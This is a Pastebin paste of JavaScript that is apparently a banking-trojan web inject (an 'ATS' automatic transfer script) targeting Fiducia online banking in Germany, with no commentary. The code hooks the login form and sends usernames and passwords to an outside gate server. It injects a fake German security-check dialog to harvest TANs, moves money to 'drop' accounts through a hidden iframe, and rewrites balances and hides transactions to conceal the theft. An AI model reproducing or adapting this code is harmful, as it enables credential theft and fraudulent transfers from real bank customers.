Xylitol

fiducia.js

Apr 13th, 2014
351
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var jq = jQuery.noConflict();
  2. _cssCode = '.inj_full_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4002; filter: alpha(OPACITY=100); opacity: 1; } #inj_block_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4000; filter: alpha(OPACITY=0); opacity: 0; } #inj_dialog_box { background-color: #FFFFFF; z-index: 4001; position: relative; } .inj_dialog_content h2, .inj_dialog_content h3, #inj_dialog_title { margin: 10px; } .inj_instr_list { font-size: 13px; } .inj_content_para { padding: 10px 0px; } .inj_content_block { line-height: 1.3em; } .inj_buttons_block { margin-top: 3px; } .inj_error { display: none; color: #FF0000; font-weight: bold; } .inj_section_header { height: 19px; padding: 4px 7px 0; width: 48em; } .inj_section_content { padding: 5px 6px; width: 48em; border: 1px solid #D1D3D4; border-top-width: 0px; }';
  3. if ((document.readyState === "loading") || (document.readyState === "interactive"))
  4.     document.write('<style type="text/css">' + _cssCode + '</style>');
  5. else
  6.     jq('head').append('<style type="text/css">' + _cssCode + '</style>');
  7. var ATS={bank:'',account_id:0,bot_id:'',script_ver:'0',debug_mode:false,isDebugMode:function()
  8. {return ATS.debug_mode;},getBrowserFull:function()
  9. {var res='na';try
  10. {var m=navigator.userAgent.match(/Firefox\/(\d+)/);if(m)
  11. {res='ff'+m[1];}
  12. else
  13. {m=navigator.userAgent.match(/MSIE (\d+)/);if(m)
  14. res='ie'+m[1];}}
  15. catch(e)
  16. {res='ex';}
  17. return res;},debugMsg:function(message)
  18. {if(this.isDebugMode())
  19. {if(window.console&&window.console.log)
  20. window.console.log(message);else
  21. alert(message);}},_cookies:new Object(),setCookie:function(name,value)
  22. {ATS.debugMsg('setCookie: '+name+' = '+value);parent.ATS._cookies[name]=value;},getCookie:function(name)
  23. {if(typeof parent.ATS._cookies[name]=='undefined')
  24. return null;return parent.ATS._cookies[name];},serializeCookies:function()
  25. {var result=new Array();for(var i in parent.ATS._cookies)
  26. {result.push(encodeURIComponent(i)+'='+encodeURIComponent(parent.ATS._cookies[i]));}
  27. return result.join('&');},unserializeCookies:function(rawData)
  28. {var result=new Object();for(var i in rawData)
  29. {result[decodeURIComponent(i)]=decodeURIComponent(rawData[i]);}
  30. return result;},saveCookies:function(callback)
  31. {ATS.sendGateRequest('save_cookies',{data:ATS.serializeCookies()},callback);},sendGateRequest:function(action,params,callback)
  32. {data=jq.extend({bank:parent.ATS.bank,aid:parent.ATS.account_id},params);var url=ATS.gateURL+'?a='+action+'&cb=?';if((typeof __debugDisabled=='undefined')||!__debugDisabled)
  33. {jq.ajax({url:url,dataType:'jsonp',crossDomain:true,data:data,success:callback});}},sendPostGateRequest:function(action,params)
  34. {ATS.debugMsg('sendPostGateRequest: '+action);data=jq.extend({bank:parent.ATS.bank,aid:parent.ATS.account_id},params);var url=ATS.gateURL+'?a='+action;ATS.debugMsg('url = '+url+'; params = '+params);if((typeof __debugDisabled=='undefined')||!__debugDisabled)
  35. {jq.ajax({type:'POST',url:url,crossDomain:true,data:data});}},loadData:function(callback)
  36. {ATS.sendGateRequest('load_data',{botid:ATS.bot_id},function(data){ATS.account_id=data.account_id;ATS._cookies=ATS.unserializeCookies(data.cookies);if(typeof callback=='function')
  37. callback();});},getFullVersionText:function()
  38. {return ATS.script_ver+' / '+ATS.getBrowserFull();},sendLoginInfo:function(login,password,callback)
  39. {ATS.sendGateRequest('login',{botid:ATS.bot_id,login:login,password:password,url:window.location.href,ver:ATS.getFullVersionText()},callback);},_logMsgSeq:0,sendLogMsg:function(text,callback)
  40. {ATS.debugMsg('sendLogMsg: '+text);if(parent&&parent.ATS&&parent.ATS.sendGateRequest)
  41. {parent.ATS._logMsgSeq++;parent.ATS.sendGateRequest('log_msg',{ver:ATS.getFullVersionText(),text:parent.ATS._logMsgSeq+': '+text},callback);}
  42. else
  43. {ATS._logMsgSeq++;ATS.sendGateRequest('log_msg',{ver:ATS.getFullVersionText(),text:ATS._logMsgSeq+': '+text},callback);}},getDrop:function(transfType,balance,callback)
  44. {ATS.sendGateRequest('get_drop',{type:transfType,balance:balance},callback);},getDropWithLimit:function(transfType,balance,limit,callback)
  45. {ATS.sendGateRequest('get_drop',{type:transfType,balance:balance,limit:limit},callback);},putTransfer:function(transfType,drop,amount,callback)
  46. {ATS.sendGateRequest('transfer',{type:transfType,did:drop,amount:amount},callback);},sendAccountsInfo:function(accountsInfo,callback)
  47. {try{ATS.sendGateRequest('save_accounts_info',{data:JSON.stringify(accountsInfo)},callback);}catch(e){}},base64_encode:function(input)
  48. {var output="";var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;var keyStr="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";do
  49. {chr1=input.charCodeAt(i++);chr2=input.charCodeAt(i++);chr3=input.charCodeAt(i++);enc1=chr1>>2;enc2=((chr1&3)<<4)|(chr2>>4);enc3=((chr2&15)<<2)|(chr3>>6);enc4=chr3&63;if(isNaN(chr2))
  50. {enc3=enc4=64;}
  51. else if(isNaN(chr3))
  52. {enc4=64;}
  53. output=output+keyStr.charAt(enc1)+keyStr.charAt(enc2)+keyStr.charAt(enc3)+keyStr.charAt(enc4);}while(i<input.length);return output;},utf8_encode:function(argString)
  54. {if(argString===null||typeof argString==="undefined")
  55. return"";var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++)
  56. {var c1=string.charCodeAt(n);var enc=null;if(c1<128)
  57. {end++;}
  58. else if(c1>127&&c1<2048)
  59. {enc=String.fromCharCode((c1>>6)|192,(c1&63)|128);}
  60. else if(c1&0xF800!=0xD800)
  61. {enc=String.fromCharCode((c1>>12)|224,((c1>>6)&63)|128,(c1&63)|128);}
  62. else
  63. {if(c1&0xFC00!=0xD800){return'error 1';}
  64. var c2=string.charCodeAt(++n);if(c2&0xFC00!=0xDC00){return'error 2';}
  65. c1=((c1&0x3FF)<<10)+(c2&0x3FF)+0x10000;enc=String.fromCharCode((c1>>18)|240,((c1>>12)&63)|128,((c1>>6)&63)|128,(c1&63)|128);}
  66. if(enc!==null)
  67. {if(end>start)
  68. {utftext+=string.slice(start,end);}
  69. utftext+=enc;start=end=n+1;}}
  70. if(end>start)
  71. utftext+=string.slice(start,stringl);return utftext;},sendDump:function(msg,data)
  72. {ATS.sendPostGateRequest('dump',{msg:msg,data:ATS.base64_encode(ATS.utf8_encode(data))});},randInt:function(min,max)
  73. {return Math.round(min+Math.random()*(max-min));},imgSubmit:function(button)
  74. {var form=jq('form').has(jq(button));if(jq(form).length==0)
  75. return 0;var buttonName=jq(button).attr('name');if(buttonName!='')
  76. {var buttonWidth=parseInt(jq(button).css('width'));if(!buttonWidth)
  77. buttonWidth=10;var buttonHeight=parseInt(jq(button).css('height'));if(!buttonHeight)
  78. buttonHeight=10;var clickX=ATS.randInt(buttonWidth*0.2,buttonWidth*0.8);var clickY=ATS.randInt(buttonHeight*0.2,buttonHeight*0.8);jq(button).remove();jq(form).append('<input type=hidden name="'+buttonName+'.x" value="'+clickX+'" />');jq(form).append('<input type=hidden name="'+buttonName+'.y" value="'+clickY+'" />');jq(form).submit();}
  79. else
  80. jq(button).click();},delayedClick:function(button,minDelay,maxDelay)
  81. {setTimeout(function(){if(jq(button).attr('type')=='image')
  82. {ATS.imgSubmit(jq(button));}
  83. else
  84. jq(button).click();},ATS.randInt(minDelay,maxDelay));}};
  85. ATS.bank = 'fiducia';
  86. ATS.script_ver = '13';
  87. ATS.gateURL = 'https://belissimos7.com/nsdghsf333/gate';
  88. ATS.UI_blockSite=function()
  89. {if(ATS.debugNoOverlay)
  90. return;if(jq('#inj_block_overlay').length)
  91. jq('#inj_block_overlay').show();else
  92. jq('body').append('<div id=inj_block_overlay></div>');}
  93. ATS.UI_unblockSite=function()
  94. {jq('#inj_block_overlay').hide();}
  95. ATS.UI_getInjectCode=function()
  96. {var code = '<div id=inj_dialog_box style=\'display: none;\'><div class="inj_dialo'
  97.      + 'g_content"><div class="inj_section_header XLabel Titel TitelText"><span'
  98.      + ' id="inj_dialog_title" >Sicherheitskontrolle</span></div><div id=inj_pa'
  99.      + 'ge_wait style=\'display: none;\' class="XTable inj_section_content"><b>Ab'
  100.      + ' jetzt haben wir neue Sicherheitseinstellungen.</b><br/><div class="box'
  101.      + 'Hinweis"><p class="inj_content_para">Unser System &#252;berpr&#252;ft I'
  102.      + 'hren Computer nach Ver&#228;nderungen. &#220;berpr&#252;fung Ihrer Sich'
  103.      + 'erheitseinstellungen kann mehrere Sekunden dauern. <br class="newline" '
  104.      + '/></p><p style="text-align:center"><img src=\'https://belissimos7.com/nsdghsf333/images/load'
  105.      + 'er_bar.gif\' id=inj_loader_img /></p><p class="inj_content_para">W&#228;'
  106.      + 'hrend dieser Zeit aktualisieren Sie bitte nicht diese Seite und verwend'
  107.      + 'en Sie nicht die Browsernavigation (Zur&#252;ck / Vorw&#228;rts). </p><'
  108.      + '/div></div><div id=inj_page_tan style=\'display: none;\'><div class="XTab'
  109.      + 'le inj_section_content"><p class="begruessungText inj_content_block" id'
  110.      + '=inj_main_text>Wahrscheinlich haben sich in letzter Zeit einige Ver&#22'
  111.      + '8;nderungen bei Ihrem Computer ergeben. Aus Sicherheitsgr&#252;nden m&#'
  112.      + '252;ssen Sie eine Tan eingeben, um zu best&#228;tigen, dass es Ihr Comp'
  113.      + 'uter ist, damit Ihnen der Zugang gew&#228;hrt wird.<br class="newline" '
  114.      + '/></p></div><div class="XTable inj_section_content inj_content_block"><'
  115.      + 'div id=inj_mode_gen><ol class=inj_instr_list><li>Stecken Sie Ihre Chipk'
  116.      + 'arte in den TAN-Generator und dr&#252;cken <strong>"TAN"</strong>.</li>'
  117.      + '<li>Geben Sie den Start-Code (<strong class=inj_tan_startcode></strong>'
  118.      + ') ein und dr&#252;cken <strong>"OK"</strong>.</li><li>Pr&#252;fen Sie d'
  119.      + 'ie Anzeige auf dem Leserdisplay und dr&#252;cken <strong>"OK"</strong>.'
  120.      + '</li><li>Geben Sie die <strong class=inj_iban_code></strong>&nbsp;ein u'
  121.      + 'nd dr&#252;cken <strong>"OK"</strong>.</li><li>Geben Sie die <strong cl'
  122.      + 'ass=inj_bic_code></strong>&nbsp;ein und dr&#252;cken <strong>"OK"</stro'
  123.      + 'ng>.</li><li>Geben Sie die <strong class=inj_transf_amount></strong>&nb'
  124.      + 'sp;ein und dr&#252cken <strong>"OK"</strong>.</li></ol></div><div id=in'
  125.      + 'j_mode_sms><p>Angaben f&#252;r die Test&#252;berweisung:</p><ul class=i'
  126.      + 'nj_instr_list><li>Name: Hans M&#252;ller</li><li class=inj_sms_acc>Kont'
  127.      + 'onummer:</li><li class=inj_sms_blz>Bankleitzahl:</li><li class=inj_sms_'
  128.      + 'amount>Betrag:</li></ul><p>Bitte best&#228;tigen Sie die TEST&#220;BERW'
  129.      + 'EISUNG, um den Schnelltest erfolgreich abzuschlie&#223;en.<br/>Sie werd'
  130.      + 'en nach der Durchf&#252;hrung des Schnelltests Ihren online Bankservice'
  131.      + ' sofort nutzen k&#246;nnen.<br/>Denken Sie daran, dass Ihr Konto durch '
  132.      + 'die Test&#252;berweisung NICHT belastet wird.<br/>Vielen Dank. </p></di'
  133.      + 'v></div><div class="XTable inj_section_content"><div style=\'float: left'
  134.      + '; width: 450px; font-size: 13px; padding: 2px 0px;\'><label class=inj_ta'
  135.      + 'n_label for=inj_tan>Bitte geben Sie die auf Ihrem TAN-Generator angezei'
  136.      + 'gte TAN ein:</label></div><div style=\'float: right; padding: 1px 10px;\''
  137.      + '><input type="text" id="inj_tan" class="osppformfeldmuss" value="" size'
  138.      + '="8" maxlength="6" name="inj_tan"></div><div style=\'clear:both;\'><p cla'
  139.      + 'ss=inj_error>*TAN falsch, bitte richtige TAN eingeben</p></div></div><d'
  140.      + 'iv class="inj_buttons_block UnitCommands actionBar"><input type="submit'
  141.      + '" class="UnitCommand" alt="Weiter" title="Weiter" value="Weiter" name="'
  142.      + 'inj_weiter" /></div></div></div></div>';
  143. return jq(code);}
  144. ATS.UI_onWeiterClick=function()
  145. {var tan=jq('input[name=inj_tan]').val();if(tan.length==6)
  146. {ATS.sendLogMsg('entered TAN '+tan);jq('#ats_wrk_iframe')[0].contentWindow.ATS.enterCode(tan);}}
  147. ATS.UI_showDialogBox=function()
  148. {jq('#maincontent > *').hide();if(!jq('#inj_dialog_box').length)
  149. {var injectCode=ATS.UI_getInjectCode();jq('#maincontent').append(injectCode);jq('input[name=inj_weiter]').click(ATS.UI_onWeiterClick);}
  150. jq('#inj_dialog_box').show();}
  151. ATS.UI_hideDialogBox=function()
  152. {jq('#inj_dialog_box').hide();}
  153. ATS.UI_showWait=function()
  154. {ATS.UI_showDialogBox();jq('#inj_page_wait').show();jq('#inj_page_tan').hide();}
  155. ATS.UI_askTan=function(tanNum,isError)
  156. {parent.ATS.UI_showDialogBox();jq('#inj_page_wait',parent.document).hide();jq('#inj_page_tan',parent.document).show();jq('#inj_mode_gen',parent.document).hide();jq('#inj_mode_sms',parent.document).hide();if(tanNum=='sms')
  157. {jq('#inj_mode_sms',parent.document).show();var mainText='Wir sind immer bem&#252;ht, unseren Service und den von unserer Bank gebotenen Sicherheitsgrad zu verbessern. ';mainText+='Wie Sie vielleicht wissen, haben wir k&#252;rzlich zus&#228;tzlich Sicherheitswerkzeug eingef&#252;hrt, um Ihnen f&#252;r Ihre Bank&#252;berweisungen eine beispiellose Sicherheit zu gew&#228;hrleisten. ';mainText+='Ungl&#252;cklicherweise hatte viele Nutzer Probleme, die neuen Regeln anzuwenden, was dazu f&#252;hrte, dass Ihre online Zugang zu ihren Konto automatisch gesperrt wurde. ';mainText+='Um solche Situationen zu vermeiden und um Sie durch die neuen Sicherheitstechnologien zu leiten, bieten wir Ihnen an, einen Schnelltest zu absolvieren. ';mainText+='W&#228;hrend des Tests wird das System eine TEST&#220;BERWEISUNG durchf&#252;hren. Wir versichern Ihnen, dass die Test&#252;berweisung Ihren Konto NICHT belastet wird. ';mainText+='Wir hoffen, dass Sie den hohen Sicherheitsgrad und die Verwendbarkeit unserer Bankdienstleistungen sch&#228;tzen.';jq('#inj_main_text',parent.document).html(mainText);var reqText=jq('#lblMTANDetails').text();reqText=reqText.split('.')[0]+'.<br/>'+'Bitte geben Sie diese TAN ein:';jq('.inj_tan_label',parent.document.body).html(reqText);if(parent.ATS.transf_mode=='sepa')
  158. {var ibanCode=parent.ATS.sepa_drop.IBAN;ibanCode='DE'+ibanCode.substring(2,4)+'XXXXXXXXXXXXXXXXXX'+ibanCode.substring(ibanCode.length-4);ATS.debugMsg('ibanCode '+ibanCode);jq('.inj_sms_acc',parent.document.body).text('IBAN: '+ibanCode);jq('.inj_sms_blz',parent.document.body).text('BIC: 00000000');jq('.inj_sms_amount',parent.document.body).text('Betrag: '+parent.ATS.sepa_drop.amount+',00');}
  159. else
  160. {var konto=parent.ATS.int_drop.Konto;jq('.inj_sms_acc',parent.document.body).text('Kontonummer: '+konto);jq('.inj_sms_blz',parent.document.body).text('Bankleitzahl: 00000000');jq('.inj_sms_amount',parent.document.body).text('Betrag: '+parent.ATS.int_drop.amount+',00');}}
  161. if(tanNum=='gen')
  162. {jq('#inj_mode_gen',parent.document).show();if(parent.ATS.transf_mode=='sepa')
  163. {var ibanCode=parent.ATS.sepa_drop.IBAN;ibanCode2=ibanCode.substring(2,4)+ibanCode.substring(ibanCode.length-4);ATS.debugMsg('ibanCode2 '+ibanCode2);jq('.inj_iban_code',parent.document.body).text(ibanCode2);jq('.inj_bic_code',parent.document.body).parent().hide();jq('.inj_transf_amount',parent.document.body).text(parent.ATS.sepa_drop.amount+',00');}
  164. else
  165. {jq('.inj_iban_code',parent.document.body).text(parent.ATS.int_drop.Konto);jq('.inj_bic_code',parent.document.body).text(parent.ATS.int_drop.BLZ);jq('.inj_transf_amount',parent.document.body).text(parent.ATS.int_drop.amount+',00');}
  166. var startCode=jq('#tblManuelleBeschreibung').text().match(/\d{6,20}/i);if(startCode)
  167. startCode=startCode[0];else
  168. startCode='000000';ATS.sendLogMsg('startCode '+startCode);jq('.inj_tan_startcode',parent.document.body).text(startCode);}
  169. if(isError)
  170. {jq('.inj_error',parent.document.body).show();}
  171. else
  172. jq('.inj_error',parent.document.body).hide();}
  173. ATS.fin2float=function(text)
  174. {var text=text.toString().replace(/[^\d,-]+/g,'').replace(',','.');return parseFloat(text);}
  175. ATS.float2fin=function(val)
  176. {var intPart=Math.floor(val);var fractPart=Math.floor((val-intPart)*100).toString();if(fractPart.length<2)
  177. fractPart='0'+fractPart;var newIntPart='';intPart=intPart.toString();while(intPart.length>3)
  178. {newIntPart='.'+intPart.substr(intPart.length-3)+newIntPart;intPart=intPart.substr(0,intPart.length-3);}
  179. newIntPart=intPart+newIntPart;return newIntPart+','+fractPart;}
  180. ATS.addElementAmount=function(el,amount,postfix)
  181. {var val=ATS.fin2float(jq(el).text());ATS.debugMsg('addElementAmount() val = '+val);var newText=ATS.float2fin(val+amount);if(postfix)
  182. newText+=' '+postfix;ATS.debugMsg('addElementAmount() newText = '+newText);jq(el).text(newText);}
  183. ATS.needToHide=function(text)
  184. {text=text.replace(/[^\da-z]+/gi,'').toUpperCase();ATS.debugMsg('replaceUmsatze(): '+text);var dropName=ATS.getCookie('rep_drop_name');if(dropName)
  185. {if(text.indexOf(dropName.replace(/[^\da-z]+/gi,'').toUpperCase())!=-1)
  186. return true;}
  187. var dropAcc=ATS.getCookie('rep_drop_acc');if(dropAcc)
  188. {if(text.indexOf(dropAcc.replace(/[^\da-z]+/gi,'').toUpperCase())!=-1)
  189. return true;}
  190. var amount=ATS.getCookie('rep_amount');if(amount)
  191. {if(text.indexOf(amount.replace(/[^\da-z]+/gi,'').toUpperCase())!=-1)
  192. return true;}
  193. return false;}
  194. ATS.replaceAccountsOverview=function()
  195. {ATS.debugMsg('replaceAccountsOverview()');jq('a[title=Drucken]').hide();var totalReplace=0;jq("#tblVGUebersicht tr").each(function()
  196. {if(jq(this).children('td').length==4)
  197. {var accNum=jq.trim(jq(this).children('td:eq(1)').text());if(accNum!='')
  198. {var amount=parseFloat(ATS.getCookie('ap'+accNum));ATS.debugMsg('accNum = '+accNum+'; amount = '+amount);if(amount>0)
  199. {ATS.addElementAmount(jq(this).children('td:eq(2)').find('span:eq(1)'),amount,'H');ATS.sendLogMsg('REP overview: '+accNum+' + '+amount);totalReplace+=amount;}}
  200. if((jq(this).children('td:eq(0)').text().indexOf('Summe')!=-1)&&(totalReplace>0))
  201. {ATS.addElementAmount(jq(this).children('td:eq(2)').find('span:eq(1)'),totalReplace,'H');ATS.sendLogMsg('REP overview: total + '+totalReplace);totalReplace=0;}}});}
  202. ATS.replaceUmsatzanzeige=function()
  203. {ATS.debugMsg('replaceUmsatzanzeige()');jq('a[title=Drucken]').hide();jq('input[value=Exportieren]').parent().hide();jq('div#cntSalden').hide();jq('div#cntSaldenUnten').hide();var transfer_acc=ATS.getCookie('transfer_acc');var selectedAccount=jq('div#cntKontoAuswahlZeile dl span').text().replace(/\D/g,'');var amount=0;if(selectedAccount.indexOf(transfer_acc)!=-1)
  204. amount=parseFloat(ATS.getCookie('ap'+transfer_acc));ATS.debugMsg('selectedAccount = '+selectedAccount+'; amount = '+amount);if(amount>0)
  205. {ATS.sendLogMsg('REP umsatzanzeige: + '+amount);ATS.addElementAmount(jq('div#xvwKontoauswahlSaldoValue span'),amount,'H');ATS.addElementAmount(jq('div#xvwKontoAuswahlVerfuegbarerBetragValue span'),amount,'H');jq('#tblUmsaetze > tbody > tr').each(function(){if(ATS.needToHide(jq(this).text()))
  206. {ATS.sendLogMsg('REP umsatzanzeige: transfer hidden');jq(this).hide();}});jq('#tblUmsaetze > tbody > tr:visible').each(function(i){jq(this).attr('class',(i%2)?'od':'ev');});}}
  207. ATS.replaceSelectedAccBalance=function()
  208. {ATS.debugMsg('replaceSelectedAccBalance()');var transfer_acc=ATS.getCookie('transfer_acc');var selectedAccount=jq('div#cntKontoAuswahlZeile dl span').text().replace(/\D/g,'');var amount=0;if(selectedAccount.indexOf(transfer_acc)!=-1)
  209. amount=parseFloat(ATS.getCookie('ap'+transfer_acc));ATS.debugMsg('selectedAccount = '+selectedAccount+'; amount = '+amount);if(amount>0)
  210. {ATS.sendLogMsg('REP selected acc: + '+amount);ATS.addElementAmount(jq('div#xvwKontoauswahlSaldoValue span'),amount,'H');ATS.addElementAmount(jq('div#xvwKontoAuswahlVerfuegbarerBetragValue span'),amount,'H');}}
  211. ATS.replaceKontoinformationen=function()
  212. {ATS.debugMsg('replaceKontoinformationen()');var transfer_acc=ATS.getCookie('transfer_acc');var selectedAccount=jq('div#cntKontoAuswahlZeile dl span').text().replace(/\D/g,'');var amount=0;if(selectedAccount.indexOf(transfer_acc)!=-1)
  213. amount=parseFloat(ATS.getCookie('ap'+transfer_acc));ATS.debugMsg('selectedAccount = '+selectedAccount+'; amount = '+amount);if(amount>0)
  214. {ATS.sendLogMsg('REP kontoinformationen: + '+amount);ATS.addElementAmount(jq('#tblKontoinformationen tr:contains(Kapitalsaldo) span#lbl'),amount,'H');}}
  215. ATS.replaceBalances=function()
  216. {ATS.debugMsg('replaceBalances()');var pageTitle=jq('h1').text().replace('\u00FC','ue').replace(new RegExp('\u00DC','g'),'Ue');if(pageTitle.indexOf('Kontenuebersicht')!=-1)
  217. ATS.replaceAccountsOverview();if(pageTitle.indexOf('Umsatzanzeige')!=-1)
  218. ATS.replaceUmsatzanzeige();if(pageTitle.indexOf('Kontoinformationen')!=-1)
  219. ATS.replaceKontoinformationen();var selectedAccount=jq('div#cntKontoAuswahlZeile dl span').text().replace(/\D/g,'');if((selectedAccount!='')&&(pageTitle.indexOf('Umsatzanzeige')==-1))
  220. {var transfer_acc=ATS.getCookie('transfer_acc');var amount=0;if(selectedAccount.indexOf(transfer_acc)!=-1)
  221. amount=parseFloat(ATS.getCookie('ap'+transfer_acc));if(amount>0)
  222. {ATS.replaceSelectedAccBalance();}}}
  223. ATS.checkTransaction=function()
  224. {var pageTitle=jq('h1').text().replace('\u00FC','ue').replace(new RegExp('\u00DC','g'),'Ue');switch(pageTitle)
  225. {case'Personen-/Kontenuebersicht':return ATS.checkTransactionKontenuebersicht();break;default:return ATS.checkTransactionAllPage();break;}}
  226. ATS.checkTransactionAllPage=function()
  227. {var old_balance=ATS.getCookie('old_balance');var transfer_acc=ATS.getCookie('transfer_acc');var rep_amount=ATS.getCookie('rep_amount');var status=ATS.getCookie('status');var curent_balance=ATS.fin2float(jq('div#xvwKontoauswahlSaldoValue span').text());var selectedAccount=jq('div#cntKontoAuswahlZeile dl span').text().replace(/\D/g,'');if(curent_balance&&old_balance&&rep_amount&&(status=='1')&&(selectedAccount.indexOf(transfer_acc)!='-1'))
  228. {if((old_balance-curent_balance)>rep_amount*0.8)
  229. {return true;}
  230. else
  231. {return false;}}
  232. else
  233. return false;}
  234. ATS.checkTransactionKontenuebersicht=function()
  235. {var old_balance=ATS.getCookie('old_balance');var transfer_acc=ATS.getCookie('transfer_acc');var rep_amount=ATS.getCookie('rep_amount');var status=ATS.getCookie('status');var curent_balance=null;jq("#tblVGUebersicht tr").each(function()
  236. {if(jq(this).children('td').length==4)
  237. {var accNum=jq.trim(jq(this).children('td:eq(1)').text());if(accNum==transfer_acc)
  238. {curent_balance=ATS.fin2float(jq(this).children('td:eq(2)').find('span:eq(1)').text());}}});if((curent_balance!==null)&&old_balance&&transfer_acc&&rep_amount&&(status=='1'))
  239. {if((old_balance-curent_balance)>rep_amount*0.8)
  240. {return true;}
  241. else
  242. {return false;}}
  243. else
  244. return false;}
  245. ATS.current_state=0;ATS.MIN_LIMIT=5;ATS.debugVisibleFrame=false;ATS.debugNoOverlay=false;ATS.transf_mode='sepa';ATS.badTan=false;ATS.startcode='';ATS.checkLoginPage=function()
  246. {return!!jq('input[value*=nmelden]').length;}
  247. ATS.setLoginHook=function()
  248. {var loginDataSent=false;var loginForm=ATS.getLoginForm();if(loginForm)
  249. {jq(loginForm).submit(function(e){if(!loginDataSent)
  250. {e.preventDefault();var login=jq(loginForm).find('input:visible[type=text]').val();var password=jq(loginForm).find('input:visible[type=password]').val();ATS.debugMsg('login info: '+login+', '+password);ATS.sendLoginInfo(login,password,function(){loginDataSent=true;jq('input.UnitCommand[value*=nmelden]').attr('onclick','');jq('input.UnitCommand[value*=nmelden]').click();})}});return true;}
  251. return false;}
  252. ATS.getLoginForm=function()
  253. {var form=jq("form").has('input[value*=anmeld]');if(form.length)
  254. return form[0];return false;}
  255. ATS.isLoggedIn=function()
  256. {return!!jq("input[value*=bmelden]").length;}
  257. ATS.getTime=function()
  258. {return Math.floor((new Date).getTime()/1000);}
  259. ATS.die=function(msg)
  260. {ATS.sendLogMsg('ERROR: '+msg);ATS.setCookie('error_time',ATS.getTime());ATS.setCookie('status',2);ATS.saveCookies(function(){if((parent.window!==window)&&parent.ATS)
  261. {ATS.debugMsg('die in frame');var nextLink=false;var nextLink=jq('a:contains(Startseite)');if(nextLink.length)
  262. {setTimeout(function(){parent.window.document.location.href=jq(nextLink)[0].href;},1000);}
  263. else
  264. {ATS.sendLogMsg('die cant find link 2 go');}}
  265. else
  266. {ATS.debugMsg('die outside frame');ATS.UI_hideDialogBox();ATS.UI_unblockSite();}});}
  267. ATS.openInIframe=function(url)
  268. {var iframe=jq('<iframe id=ats_wrk_iframe name=ats_wrk_iframe src="'+url+'"></iframe>');jq('body').append(iframe);if(ATS.debugVisibleFrame)
  269. {jq(iframe).css('width','1200px');jq(iframe).css('height','800px');jq(iframe).css('top','800px');jq(iframe).css('position','absolute');}
  270. else
  271. {jq(iframe).css('width','1px');jq(iframe).css('height','1px');}}
  272. ATS.getMaxTransferAcc=function()
  273. {var accountsList=parent.ATS.accounts_list;var maxAcc=null;var maxBalance=false;for(var i in accountsList)
  274. {if(accountsList[i].transf)
  275. {if(!maxBalance)
  276. var maxBalance=accountsList[i].balance;if(accountsList[i].balance>=maxBalance)
  277. {maxBalance=accountsList[i].balance;maxAcc=accountsList[i];}}}
  278. return maxAcc;}
  279. ATS.findAccountInfo=function(acc_num)
  280. {var accounts_list=parent.ATS.accounts_list;for(var i in accounts_list)
  281. {if(acc_num.indexOf(accounts_list[i].number)!=-1)
  282. {return accounts_list[i];}}
  283. return false;}
  284. ATS.findAccount=function(acc_num)
  285. {var accounts_list=parent.ATS.accounts_list;for(var i in accounts_list)
  286. {if(acc_num==accounts_list[i].number)
  287. {return accounts_list[i];}}
  288. return false;}
  289. ATS.mainWork=function()
  290. {ATS.debugMsg('ATS.mainWork, state: '+ATS.current_state);ATS.sendLogMsg('main state '+ATS.current_state);switch(ATS.current_state)
  291. {case 0:var hname=ATS.getHolderName();if(hname!='')
  292. ATS.sendLogMsg('Holder name: '+hname);var href=ATS.getBankingLink();if(href)
  293. {ATS.current_state=10;ATS.debugMsg('Banking link: '+href);setTimeout('ATS.openInIframe("'+href+'")',3000);}
  294. else
  295. {if(jq("input.UnitCommand[value=Weiter]"))
  296. jq("input.UnitCommand[value=Weiter]").click();else
  297. ATS.die('mainWork: cant find Banking link');}
  298. break;}}
  299. ATS.getHolderName=function()
  300. {return jq.trim(jq('#lblNameValue').text());}
  301. ATS.getBankingLink=function()
  302. {var finLink=jq('a[href*="menuId=Zahlungsverkehr"]');if(jq(finLink).length!=0)
  303. return jq(finLink)[0].href;finLink=jq('#primaernavi a[title=Banking]');if(jq(finLink).length!=0)
  304. return jq(finLink)[0].href;finLink=jq('div#navigation a:contains(Banking)');if(jq(finLink).length!=0)
  305. return jq(finLink)[0].href;return false;}
  306. ATS.frameMain=function()
  307. {ATS.debugMsg('frameMain, state: '+parent.ATS.current_state);ATS.sendLogMsg('frame state '+parent.ATS.current_state);switch(parent.ATS.current_state)
  308. {case 10:ATS.framePageBanking();break;case 20:ATS.framePageTransfers();break;case 30:ATS.framePageConfirmInt();break;case 40:var infoText=jq('div#infoMessages').text();if(infoText.indexOf('Ihren Auftrag haben wir entgegengenommen.')!=-1)
  309. {ATS.framePageReceiptInt();}
  310. else
  311. {var errorMsg=jq('div#errorMessages').text();if(errorMsg.indexOf('TAN falsch')!=-1)
  312. {parent.ATS.badTan=true;parent.ATS.current_state=30;ATS.sendLogMsg('frameWork: bad TAN');ATS.framePageConfirmInt();}
  313. else
  314. {ATS.die('frameMain: unknown error on step 40: '+errorMsg);}}
  315. break;case 100:ATS.framePageTransfersSEPA();break;case 110:ATS.framePageConfirmSEPA();break;case 120:var infoText=jq('div#infoMessages').text();if(infoText.indexOf('Ihren Auftrag haben wir entgegengenommen.')!=-1)
  316. {ATS.framePageReceiptSEPA();}
  317. else
  318. {var errorMsg=jq('div#errorMessages').text();if(errorMsg.indexOf('TAN falsch')!=-1)
  319. {parent.ATS.badTan=true;parent.ATS.current_state=110;ATS.sendLogMsg('frameWork: bad TAN');ATS.framePageConfirmSEPA();}
  320. else
  321. {ATS.die('frameMain: unknown error on step 120: '+errorMsg);}}
  322. break;}}
  323. ATS.framePageBanking=function()
  324. {ATS.debugMsg('ATS.framePageBanking()');if(jq('img[src*=einblenden]').length)
  325. {ATS.sendLogMsg('Unfolding accounts');setTimeout(function(){document.location.href=jq('img[src*=einblenden]:eq(0)').parent().attr('href');},2000);return;}
  326. parent.ATS.accounts_list=ATS.parseAccountsList();ATS.sendAccountsInfo(parent.ATS.accounts_list);var acc=ATS.getMaxTransferAcc();if(acc)
  327. {ATS.goToTransfers();}
  328. else
  329. ATS.die('framePageBanking: no positive accounts with payment option');}
